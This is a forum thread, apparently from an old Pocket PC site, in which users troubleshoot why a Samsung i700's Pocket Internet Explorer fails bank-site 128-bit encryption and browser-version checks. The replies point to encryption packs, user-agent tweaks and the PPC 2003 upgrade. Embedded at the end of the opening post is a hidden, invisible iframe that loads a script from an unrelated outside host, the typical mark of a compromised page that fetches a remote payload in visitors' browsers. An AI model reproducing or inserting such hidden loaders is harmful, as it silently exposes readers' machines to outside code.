When I try to log into my banks website with my i700 and IE, I get a message that they only allow access to browsers that support 128-bit encryption. It (the website) also says that I have IE version 3.02. The help file for IE says it supports encryption but doesn't say what kind.

So... is the web site right? Is there any way to do access a secure site like this?

Help me Obi Wan Kenobi... You're my only hope.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

Obi Wan says..... you must go to this site:

http://www.verisign.com/advisor/check.html

This site will verify what level of security your version of IE has. I think it will prompt you to enter the version which should be 3.X. After running this it told me I had secure browsing support and digital certificate support but did not have strong encryption support. This leads me to believe that it only supports 40 bit encryption.

Also, on Microsofts web site it says that the new PPC 2003 PIE will support both 128 bit SSL encryption and 128 bit CAPI encryption. You may have to wait for this upgrade.

However, Microsoft also has an update page for 128 bit encryption for Handheld PC's in which they state"

This leads us back to square one. My guess is that maybe PIE for PPC 2002 has SSL 128 bit support but no support for CAPI. Maybe your bank needs CAPI?

Finally, Obi Wan says.... go figure, good luck and I am out of here!

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Phil

You can try downloading the encryption pack from here:

http://www.microsoft.com/downloads/details.aspx?displaylang=en&familyid=da49d0cf-ef96-4567-b817-215e24668f75

PocketPC 2002 is supposed to have it built in, but I remember my Toshiba e740 still needed the download to work correctly. Haven't tried it yet on the Samsung....Anyone else?

Caution, that last link may be for PPC 2000 devices! I would check before loading onto your PPC 2002 device.

Side note: I was able to get to my "eBranch" online account through my bank using the i700 PPC 2002 PIE. My bank says they require encryption support but do not mention 128 bit.

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Phil

As others have noted in other threads, the level of encryption may be only the first hurdle. Some sites use more modern javascript constructs that are not supported by either PIE or NetFront, for example. I can logon to our university system's 128-bit secured commerce site but when I go to approve an order for radioactive materials, the javascript in a drop-down combo box hangs either browser. Hopefully, the WM PPCPE 2003 upgrade will cure this affliction!

Jim Lewis

...at least it's reassuring to know that my bank records area as secure as radioactive materials...I think.

Thanks for the help. At least PPC 2003 isn't far away.

PIE is 128-bit, but it uses an http_user_agent that identifies it as MSIE 3.02. Just about every bank site has browser check software, and they're all coded to know that there was never a 128-bit IE until IE 4. So we get tossed out on the version check.

I hacked up my user_agent setting in the registry, and found that I could get past the encryption strength check as well, but the site's use of style sheets and javascript presented a blank page.

PIE 2003 will be able to handle most sites, and 128-bit encryption. I used Thunderhawk once or twice to hit my bank's site, but that was during my trial period and I don't intend to subscribe.

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-s